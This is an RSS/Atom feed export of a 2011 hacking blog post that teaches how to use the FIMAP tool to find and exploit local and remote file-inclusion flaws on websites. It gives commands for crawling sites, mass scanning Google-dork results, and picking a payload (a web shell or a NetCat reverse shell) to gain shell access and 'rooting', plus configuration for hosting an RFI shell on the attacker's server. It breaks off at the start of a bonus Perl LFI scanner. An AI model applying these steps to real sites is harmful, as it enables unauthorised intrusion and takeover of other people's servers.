<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;D0EGQXc9cCp7ImA9WhdXEUw.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831</id><updated>2011-08-23T11:07:00.968-05:00</updated><title>Kaotic Creations</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://kaoticcreations.blogspot.com/" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>17</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/CWtAZ" /><feedburner:info uri="blogspot/cwtaz" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CUQASX07fCp7ImA9WhdQF0U.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-2094454163405034310</id><published>2011-08-19T14:49:00.000-05:00</published><updated>2011-08-19T14:49:08.304-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-19T14:49:08.304-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="/etc/passwd" /><category scheme="http://www.blogger.com/atom/ns#" term="/proc/self/environ" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI" /><category scheme="http://www.blogger.com/atom/ns#" term="Local File Include" /><category scheme="http://www.blogger.com/atom/ns#" term="RFI" /><category scheme="http://www.blogger.com/atom/ns#" term="File Inclusion" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI Exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="Database Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI Scanner" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Log Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI Hack" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI to Remote Shell" /><category scheme="http://www.blogger.com/atom/ns#" term="LFI Shell" /><title>AUTOMATED LFI/RFI SCANNING &amp; EXPLOITING WITH FIMAP</title><content type="html">&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Today I am going to show you how to use a python based tool called FIMAP to perform automated LFI exploitation to gain shell access on our target site. LFI vulnerabilities are a bit like searching for SQL Injection vulnerabilities but more time consuming and these days there are fewer and fewer machines out there that are straight up vulnerable. FIMAP comes to our aid to take care of a lot of the manual effort which helps to speed things up and increase our chances of gaining remote shell access. The time it takes to manually craft the requests to test for LFI vulnerabilities is painstaking and this is why I find this tool to be extremely helpful. It automates the whole process and comes with built in exploits that actually work. It is capable of running single target scans, Google dork scans, and mass scans from a list file. It can also crawl a target site and create a list file which can be used afterwards with the mass scan mode. Here goes…&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Pre-requisites:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Python installed on system already&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Download copy of FIMAP here: &lt;a href="http://code.google.com/p/fimap/downloads/list"&gt;http://code.google.com/p/fimap/downloads/list&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font: 7pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;Brain power &amp;amp; patience &lt;/span&gt;&lt;span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;"&gt;&lt;span style="mso-char-type: symbol; mso-symbol-font-family: Wingdings;"&gt;J&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;OK so assuming you already have Python installed you will download the latest version of FIMAP from its Google code home, extract to you desired location and then we can begin. You will need to open your command prompt and navigate to the extraction point (unless you added things to your global environment PATH). You can type “fimpay.py –h” &lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&lt;/span&gt;to see a quick overview of what options are available, should look like this:&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img217.imageshack.us/img217/5408/22221768.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" qaa="true" src="http://img217.imageshack.us/img217/5408/22221768.png" width="373" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;It looks like a lot at first but once you review it is fairly easy to pick up on the syntax and options, as you will find most of the options and arguments are tied to whichever mode you are using. There are four basic modes: single scan, mass scan, Google scan, and Harvest mode. Single scan performs LFI check and audit against a single url. You just supply the URL to scan and it goes to work.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;COMMAND:&lt;/strong&gt; fimap.py –s –u&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri;"&gt;&lt;a href="http://target-site.com/index2.php?x"&gt;http://target-site.com/index2.php?x&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;=&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you are only going to be scanning a single target site then I highly suggest you run a scan using the Harvester mode first to help increase the chances of finding a vulnerable link. You can simply point FIMAP at the root directory of a site in Harvester mode and it will generate an output file for you to feed into the Mass scan. It looks like this:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;COMMAND:&lt;/strong&gt; fimap.py –H –u&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri;"&gt;&lt;a href="http://target-site.com/"&gt;http://target-site.com/&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt; -w output.txt&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt 0.5in;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;NOTE&lt;/b&gt;: you can define the crawl depth by adding the “-d &amp;lt;number of pages to crawl&amp;gt;” flag, as the default is set to 1&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt 0.5in;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;COMMAND:&lt;/strong&gt; fimap.py –H –u&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue; font-family: Calibri;"&gt;&lt;a href="http://target-site.com/"&gt;http://target-site.com/&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt; -d 3 –w output.txt&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Now that we have our output file we can follow things up by switching to the Mass scan mode and audit all of the links we found when we used the Harvester mode. You just point it to the output.txt file from above steps and let it do its thing, like so:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;strong&gt;COMMAND:&lt;/strong&gt; fimap.py –m –l /path/to/list/output.txt&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img190.imageshack.us/img190/5231/69082860.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="177" qaa="true" src="http://img190.imageshack.us/img190/5231/69082860.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img193.imageshack.us/img193/4710/65297278.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="177" qaa="true" src="http://img193.imageshack.us/img193/4710/65297278.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: Calibri;"&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;If you prefer to run some large scans using Google and your favorite Google dorks you can switch modes and use the following syntax:&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;COMMAND:&lt;/b&gt; fimap.py –g –q inurl:index2.php?x=&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img202.imageshack.us/img202/1969/64583092.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" qaa="true" src="http://img202.imageshack.us/img202/1969/64583092.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;It will run similar to the mass scan mode until it reaches the end of the results…&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img812.imageshack.us/img812/174/84136487.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" qaa="true" src="http://img812.imageshack.us/img812/174/84136487.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;NOTE:&lt;/b&gt; You can further define the Google scan parameters by defining the time in between Google requests using “--googlesleep=&amp;lt;time&amp;gt;” and the pages to read for results from using “-p &amp;lt;page number&amp;gt;”. If you define the number of pages to return you can also add the number of results per page to use using “--results=&amp;lt;10,25,50,100&amp;gt;”, with 100 being the default value. The full syntax would look like this: &lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;COMMAND:&lt;/b&gt; fimap.py –g –q inurl:index2.php?x= --googlesleep=5000 –p 15 –results=50&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;Now once you have run your scans you will be wondering where the results are stored. You can find them in two files, which you will need to search for on your system: fimap_results (xml) and fimap-log (txt). These two files contain the stored results from all of your scans. The location depends on what type of system you are using so just use the run box or the locate command to find them on your system. You can also type “-x” to see a list of possible targets to perform exploitation attempts against in a nice easy to follow interactive session:&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;COMMAND:&lt;/b&gt; fimap.py –x&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img717.imageshack.us/img717/5560/10367127.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="177" qaa="true" src="http://img717.imageshack.us/img717/5560/10367127.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;/div&gt;&lt;br /&gt;
&amp;nbsp;&lt;/span&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Simply choose the desired target by entering the number provided. Once a target is selected you will have the opportunity of choosing which vulnerable link to try to exploit. It looks like this:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img593.imageshack.us/img593/1286/64109387.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" qaa="true" src="http://img593.imageshack.us/img593/1286/64109387.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Once you choose the link to exploit you will have the chance to choose the final payload to use. The default options consist of an integrated shell on the target site or a reverse shell for which you can connect to using NetCat on your local system. The fimap shell is not an interactive shell so you will not be able to use services like SSH but you can use it to gain foothold for further escalation and rooting. Choose your payload, connect, and enjoy. Here is end results from successful exploit using the fimap shell:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img560.imageshack.us/img560/6242/69351331.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="253" qaa="true" src="http://img560.imageshack.us/img560/6242/69351331.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;You can also play with the configuration file so that you can add some additional features. Most notably you can add support to test for RFI vulnerabilities as well. You simply add you hosting details for your shell of choice into the “config.py” file, save, and then perform quick test to see if it is working. Here are the lines that need to be edited (editable fields in &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;RED&lt;/span&gt;&lt;/b&gt;); I suggest using the FTP mode if you have the ability to host your shell somewhere:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;# FTP Mode&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["ftp"] = {}&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["ftp"]["ftp_host"] = &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["ftp"]["ftp_user"] = &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["ftp"]["ftp_pass"] = &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["ftp"]["ftp_path"] = &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;span style="color: red;"&gt; &lt;/span&gt;# A non existing file without suffix. Example: /home/imax/public_html/payload&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["ftp"]["http_map"] = &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;span style="color: red;"&gt; &lt;/span&gt;# The mapped HTTP path of the file. Example: http://localhost/~imax/payload&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;# Local Mode&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["local"] = {}&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["local"]["local_path"] = &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;span style="color: red;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;# A non existing file on your filesystem without prefix which is reachable by http. Example: /var/www/payload&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;i style="mso-bidi-font-style: normal;"&gt;&lt;span style="font-size: 9pt;"&gt;&lt;span style="font-family: Calibri;"&gt;settings["dynamic_rfi"]["local"]["http_map"]&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;= &lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="color: red;"&gt;None&lt;/span&gt;&lt;/b&gt;&lt;span style="color: red;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;# The http url of the file without prefix where the file is reachable from the web. Example: http://localhost/payload&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Here is the command to test your RFI configuration to see if it will work for exploiting vulnerable links:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;COMMAND:&lt;/b&gt; fimap.py –test-rfi&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;This covers the basic usage for FIMAP. This tool is still under development so I encourage you to follow the project for more updates to come. If you want to truly learn how LFI works, then I encourage you to try this out manually after you have found a few with the assistance of the tool. I have also included a modified Perl script below which does some more thorough testing for file presence but is not nearly as full featured, nor is it the quietest tool. Please use responsibly and until next time, Enjoy!&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;BONUS PERL LFI SCRIPT:&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="line-height: normal; margin: 0in 0in 0pt;"&gt;&lt;span style="font-size: 8pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-family: Calibri;"&gt;Save the below as “file.pl” and then run using “perl file.pl” and then just enter your target site…&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
#modified by: Hood3dRob1n&lt;br /&gt;
use LWP::UserAgent;&lt;br /&gt;
use HTTP::Request;&lt;br /&gt;
system('clear','cls');&lt;br /&gt;
print "=======================================================\n";&lt;br /&gt;
print "=&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =\n";&lt;br /&gt;
